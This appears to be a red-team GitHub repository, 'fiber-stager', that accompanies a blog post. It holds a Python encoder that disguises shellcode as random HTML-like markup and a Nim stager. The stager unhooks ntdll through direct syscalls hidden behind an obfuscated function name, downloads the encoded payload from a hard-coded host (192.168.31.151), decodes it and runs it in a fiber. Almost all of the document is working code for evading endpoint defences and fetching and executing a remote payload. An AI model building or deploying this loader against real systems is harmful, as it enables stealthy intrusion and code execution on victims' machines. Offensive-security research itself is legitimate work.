├── .gitattributes ├── README.md ├── LICENSE ├── encoder.py └── stager ├── fiberstager.nim └── syscalls.nim /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # fiber-stager 2 | A simple Nim stager (w/ fiber execution) 3 | 4 | ## tl;dr 5 | 6 | 7 | This repo accompanies a post on https://tishina.in/execution/nim-fibers 8 | 9 | It is essentially a simple stager PoC that uses syscalls+FreshCopy for `ntdll` unhooking and fibers for shellcode execution 10 | 11 | 12 | ## usage 13 | `python3 encoder.py ` to encode the shellcode (AES encryption coming soon™). 14 | 15 | Upload the resulting `.html` somewhere and change the URL in the fiberstager (you can also regenerate the `syscalls.nim` file with NimlineWhispers2) 16 | 17 | fiber-stager is built with just `nim c` and your preferred flags. 18 | 19 | **dependencies:** winim, ptr_math 20 | 21 | # credits 22 | @[ajpc500](https://github.com/ajpc500) for NimlineWhispers2 23 | @[khchen](https://github.com/khchen) for Winim 24 | @[byt3bl33d3r](https://github.com/byt3bl33d3r) for the ntdll unhooking example 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 zimnyaa 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /encoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import random, sys 3 | 4 | STATE_OPEN = "<" 5 | STATE_CLOSE = ">" 6 | STATE_CLOSETAG = "/>" 7 | STATE_EQUALS = " = " 8 | STATE_PAYLOADTAG = "x" 9 | STATE_PAYLOADBODY = "y" 10 | STATE_TAGSPACE = "STATE_TAGSPACE" 11 | STATE_BODYSPACE = "STATE_BODYSPACE" 12 | STATE_CRLF = "\n" 13 | 14 | transitions = { 15 | STATE_OPEN : { STATE_PAYLOADTAG: 1 }, 16 | STATE_CLOSE : { STATE_PAYLOADBODY: 1 }, 17 | STATE_CLOSETAG : { STATE_OPEN: 1 }, 18 | STATE_EQUALS : { STATE_PAYLOADTAG: 1 }, 19 | STATE_PAYLOADTAG : {STATE_PAYLOADTAG: 0.5, STATE_CLOSETAG: 0.15, STATE_CLOSE: 0.15, STATE_TAGSPACE: 0.1, STATE_EQUALS: 0.1}, 20 | STATE_PAYLOADBODY : {STATE_PAYLOADBODY: 0.775, STATE_BODYSPACE: 0.1, STATE_CRLF: 0.025, STATE_OPEN: 0.1}, 21 | STATE_TAGSPACE : { STATE_PAYLOADTAG: 1 }, 22 | STATE_BODYSPACE : { STATE_PAYLOADBODY: 1 }, 23 | STATE_CRLF : { STATE_PAYLOADBODY: 1 } 24 | } 25 | 26 | import base64 27 | if len(sys.argv) != 2: 28 | print("usage: encoder.py ") 29 | with open(sys.argv[1], "rb") as f: 30 | to_encode = base64.urlsafe_b64encode(f.read()) 31 | 32 | out = "" 33 | 34 | current_state = STATE_OPEN 35 | encoded_chars = 0 36 | out += "\n" 37 | while encoded_chars < len(to_encode): 38 | if current_state in [STATE_BODYSPACE, STATE_TAGSPACE]: 39 | out += " " 40 | elif current_state in [STATE_PAYLOADTAG, STATE_PAYLOADBODY]: 41 | out += chr(to_encode[encoded_chars]) 42 | encoded_chars += 1 43 | else: 44 | out += current_state 45 | current_state = random.choices(list(transitions[current_state].keys()), list(transitions[current_state].values()))[0] 46 | out += "\n" 47 | 48 | with open(sys.argv[1]+".html", "w") as f: 49 | f.write(out) -------------------------------------------------------------------------------- /stager/fiberstager.nim: -------------------------------------------------------------------------------- 1 | import winim 2 | 3 | import std/httpclient 4 | import std/strutils 5 | import std/strformat 6 | import std/base64 7 | 8 | include syscalls 9 | 10 | import ptr_math 11 | 12 | 13 | 14 | 15 | proc toString(bytes: openarray[byte]): string = 16 | result = newString(bytes.len) 17 | copyMem(result[0].addr, bytes[0].unsafeAddr, bytes.len) 18 | 19 | 20 | # the code below courtesy of byt3bl33d3r, adapted to use syscalls 21 | proc ntdll_mapviewoffile() = 22 | let low: uint16 = 0 23 | var 24 | processH = GetCurrentProcess() 25 | mi : MODULEINFO 26 | ntdllModule = GetModuleHandleA("ntdll.dll") 27 | ntdllBase : LPVOID 28 | ntdllFile : FileHandle 29 | ntdllMapping : HANDLE 30 | ntdllMappingAddress : LPVOID 31 | hookedDosHeader : PIMAGE_DOS_HEADER 32 | hookedNtHeader : PIMAGE_NT_HEADERS 33 | hookedSectionHeader : PIMAGE_SECTION_HEADER 34 | 35 | GetModuleInformation(processH, ntdllModule, addr mi, cast[DWORD](sizeof(mi))) 36 | ntdllBase = mi.lpBaseOfDll 37 | 38 | 39 | ntdllFile = getOsFileHandle(open("C:\\windows\\system32\\ntdll.dll",fmRead)) 40 | ntdllMapping = CreateFileMapping(ntdllFile, NULL, 16777218, 0, 0, NULL) # 0x02 = PAGE_READONLY & 0x1000000 = SEC_IMAGE 41 | 42 | 43 | if ntdllMapping == 0: 44 | echo fmt"Could not create file mapping object ({GetLastError()})." 45 | return 46 | 47 | 48 | ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0) 49 | if ntdllMappingAddress.isNil: 50 | echo fmt"Could not map view of file ({GetLastError()})." 51 | return 52 | 53 | 54 | hookedDosHeader = cast[PIMAGE_DOS_HEADER](ntdllBase) 55 | hookedNtHeader = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](ntdllBase) + hookedDosHeader.e_lfanew) 56 | for Section in low ..< hookedNtHeader.FileHeader.NumberOfSections: 57 | hookedSectionHeader = cast[PIMAGE_SECTION_HEADER](cast[DWORD_PTR](IMAGE_FIRST_SECTION(hookedNtHeader)) + cast[DWORD_PTR](IMAGE_SIZEOF_SECTION_HEADER * Section)) 58 | if ".text" in toString(hookedSectionHeader.Name): 59 | var oldProtection : DWORD = 0 60 | var text_addr : LPVOID = ntdllBase + hookedSectionHeader.VirtualAddress 61 | var sectionSize: SIZE_T = cast[SIZE_T](hookedSectionHeader.Misc.VirtualSize) 62 | 63 | var status = CoapyfCqWjDhcIOb(processH, addr text_addr, §ionSize, PAGE_EXECUTE_READWRITE, addr oldProtection) 64 | echo "[*] CoapyfCqWjDhcIOb(RWX): ", RtlNtStatusToDosError(status) 65 | copyMem(text_addr, ntdllMappingAddress + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize) 66 | status = CoapyfCqWjDhcIOb(processH, addr text_addr, §ionSize, oldProtection, addr oldProtection) 67 | echo "[*] CoapyfCqWjDhcIOb(oldprotect): ", RtlNtStatusToDosError(status) 68 | 69 | 70 | CloseHandle(processH) 71 | CloseHandle(ntdllFile) 72 | CloseHandle(ntdllMapping) 73 | FreeLibrary(ntdllModule) 74 | 75 | 76 | 77 | proc run() = 78 | 79 | ntdll_mapviewoffile() 80 | 81 | var client = newHttpClient() 82 | var encodedShellcode = client.getContent("http://192.168.31.151/msgbox3.bin.html") # CHANGE THIS 83 | 84 | 85 | var shellcodeString: string 86 | for ch in encodedShellcode: 87 | if isAlphaNumeric(ch): 88 | shellcodeString.add(ch) 89 | elif ch == '_': # nim literally cannot decode urlsafe base64 90 | shellcodeString.add('/') 91 | elif ch == '-': 92 | shellcodeString.add('+') 93 | 94 | shellcodeString = shellcodeString[4 .. shellcodeString.len - 5] 95 | 96 | if len(shellcodeString) mod 4 > 0: # adjust for missing padding 97 | shellcodeString &= repeat('=', 4 - len(shellcodeString) mod 4) 98 | 99 | var shellcode = newseq[byte]() 100 | 101 | shellcodeString = decode(shellcodeString) 102 | 103 | for ch in shellcodeString: 104 | shellcode.add(cast[byte](ch)) 105 | 106 | 107 | 108 | var mainFiber = ConvertThreadToFiber(nil) 109 | var shellcodeLocation = VirtualAlloc(nil, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_READWRITE); 110 | 111 | CopyMemory(shellcodeLocation, &shellcode[0], shellcode.len); 112 | var shellcodeFiber = CreateFiber(cast[SIZE_T](0), cast[LPFIBER_START_ROUTINE](shellcodeLocation), NULL); 113 | var oldprotect: ULONG 114 | VirtualProtect(shellcodeLocation, cast[SIZE_T](shellcode.len), PAGE_EXECUTE_READ, &oldprotect) 115 | 116 | 117 | SwitchToFiber(shellcodeFiber); 118 | 119 | 120 | when isMainModule: 121 | run() -------------------------------------------------------------------------------- /stager/syscalls.nim: -------------------------------------------------------------------------------- 1 | {.passC:"-masm=intel".} 2 | type 3 | PS_ATTR_UNION* {.pure, union.} = object 4 | Value*: ULONG 5 | ValuePtr*: PVOID 6 | PS_ATTRIBUTE* {.pure.} = object 7 | Attribute*: ULONG 8 | Size*: SIZE_T 9 | u1*: PS_ATTR_UNION 10 | ReturnLength*: PSIZE_T 11 | PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE 12 | PS_ATTRIBUTE_LIST* {.pure.} = object 13 | TotalLength*: SIZE_T 14 | Attributes*: array[2, PS_ATTRIBUTE] 15 | PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST 16 | KNORMAL_ROUTINE* {.pure.} = object 17 | NormalContext*: PVOID 18 | SystemArgument1*: PVOID 19 | SystemArgument2*: PVOID 20 | PKNORMAL_ROUTINE* = ptr KNORMAL_ROUTINE 21 | 22 | 23 | {.emit: """ 24 | #pragma once 25 | 26 | // Code below is adapted from @modexpblog. Read linked article for more details. 27 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 28 | 29 | #ifndef SW2_HEADER_H_ 30 | #define SW2_HEADER_H_ 31 | 32 | #include 33 | 34 | #define SW2_SEED 0x28601A31 35 | #define SW2_ROL8(v) (v << 8 | v >> 24) 36 | #define SW2_ROR8(v) (v >> 8 | v << 24) 37 | #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) 38 | #define SW2_MAX_ENTRIES 500 39 | #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 40 | 41 | // Typedefs are prefixed to avoid pollution. 42 | 43 | typedef struct _SW2_SYSCALL_ENTRY 44 | { 45 | DWORD Hash; 46 | DWORD Address; 47 | } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY; 48 | 49 | typedef struct _SW2_SYSCALL_LIST 50 | { 51 | DWORD Count; 52 | SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; 53 | } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST; 54 | 55 | typedef struct _SW2_PEB_LDR_DATA { 56 | BYTE Reserved1[8]; 57 | PVOID Reserved2[3]; 58 | LIST_ENTRY InMemoryOrderModuleList; 59 | } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA; 60 | 61 | typedef struct _SW2_LDR_DATA_TABLE_ENTRY { 62 | PVOID Reserved1[2]; 63 | LIST_ENTRY InMemoryOrderLinks; 64 | PVOID Reserved2[2]; 65 | PVOID DllBase; 66 | } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY; 67 | 68 | typedef struct _SW2_PEB { 69 | BYTE Reserved1[2]; 70 | BYTE BeingDebugged; 71 | BYTE Reserved2[1]; 72 | PVOID Reserved3[2]; 73 | PSW2_PEB_LDR_DATA Ldr; 74 | } SW2_PEB, *PSW2_PEB; 75 | 76 | DWORD SW2_HashSyscall(PCSTR FunctionName); 77 | BOOL SW2_PopulateSyscallList(); 78 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash); 79 | 80 | #endif 81 | 82 | 83 | // Code below is adapted from @modexpblog. Read linked article for more details. 84 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 85 | 86 | SW2_SYSCALL_LIST SW2_SyscallList = {0,1}; 87 | 88 | DWORD SW2_HashSyscall(PCSTR FunctionName) 89 | { 90 | DWORD i = 0; 91 | DWORD Hash = SW2_SEED; 92 | 93 | while (FunctionName[i]) 94 | { 95 | WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); 96 | Hash ^= PartialName + SW2_ROR8(Hash); 97 | } 98 | 99 | return Hash; 100 | } 101 | 102 | BOOL SW2_PopulateSyscallList() 103 | { 104 | // Return early if the list is already populated. 105 | if (SW2_SyscallList.Count) return TRUE; 106 | 107 | PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60); 108 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; 109 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 110 | PVOID DllBase = NULL; 111 | 112 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 113 | // in the list, so it's safer to loop through the full list and find it. 114 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; 115 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 116 | { 117 | DllBase = LdrEntry->DllBase; 118 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 119 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 120 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 121 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 122 | if (VirtualAddress == 0) continue; 123 | 124 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 125 | 126 | // If this is NTDLL.dll, exit loop. 127 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 128 | 129 | if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; 130 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break; 131 | } 132 | 133 | if (!ExportDirectory) return FALSE; 134 | 135 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 136 | PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 137 | PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 138 | PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 139 | 140 | // Populate SW2_SyscallList with unsorted Zw* entries. 141 | DWORD i = 0; 142 | PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; 143 | do 144 | { 145 | PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 146 | 147 | // Is this a system call? 148 | if (*(USHORT*)FunctionName == 'wZ') 149 | { 150 | Entries[i].Hash = SW2_HashSyscall(FunctionName); 151 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 152 | 153 | i++; 154 | if (i == SW2_MAX_ENTRIES) break; 155 | } 156 | } while (--NumberOfNames); 157 | 158 | // Save total number of system calls found. 159 | SW2_SyscallList.Count = i; 160 | 161 | // Sort the list by address in ascending order. 162 | for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++) 163 | { 164 | for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++) 165 | { 166 | if (Entries[j].Address > Entries[j + 1].Address) 167 | { 168 | // Swap entries. 169 | SW2_SYSCALL_ENTRY TempEntry; 170 | 171 | TempEntry.Hash = Entries[j].Hash; 172 | TempEntry.Address = Entries[j].Address; 173 | 174 | Entries[j].Hash = Entries[j + 1].Hash; 175 | Entries[j].Address = Entries[j + 1].Address; 176 | 177 | Entries[j + 1].Hash = TempEntry.Hash; 178 | Entries[j + 1].Address = TempEntry.Address; 179 | } 180 | } 181 | } 182 | 183 | return TRUE; 184 | } 185 | 186 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) 187 | { 188 | // Ensure SW2_SyscallList is populated. 189 | if (!SW2_PopulateSyscallList()) return -1; 190 | 191 | for (DWORD i = 0; i < SW2_SyscallList.Count; i++) 192 | { 193 | if (FunctionHash == SW2_SyscallList.Entries[i].Hash) 194 | { 195 | return i; 196 | } 197 | } 198 | 199 | return -1; 200 | } 201 | 202 | """.} 203 | 204 | # NtProtectVirtualMemory -> CoapyfCqWjDhcIOb 205 | 206 | 207 | 208 | proc CoapyfCqWjDhcIOb*(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} = 209 | asm """ 210 | mov [rsp +8], rcx 211 | mov [rsp+16], rdx 212 | mov [rsp+24], r8 213 | mov [rsp+32], r9 214 | sub rsp, 0x28 215 | mov ecx, 0x05D4F29B3 216 | call SW2_GetSyscallNumber 217 | add rsp, 0x28 218 | mov rcx, [rsp +8] 219 | mov rdx, [rsp+16] 220 | mov r8, [rsp+24] 221 | mov r9, [rsp+32] 222 | mov r10, rcx 223 | syscall 224 | ret 225 | """ 226 | 227 | 228 | --------------------------------------------------------------------------------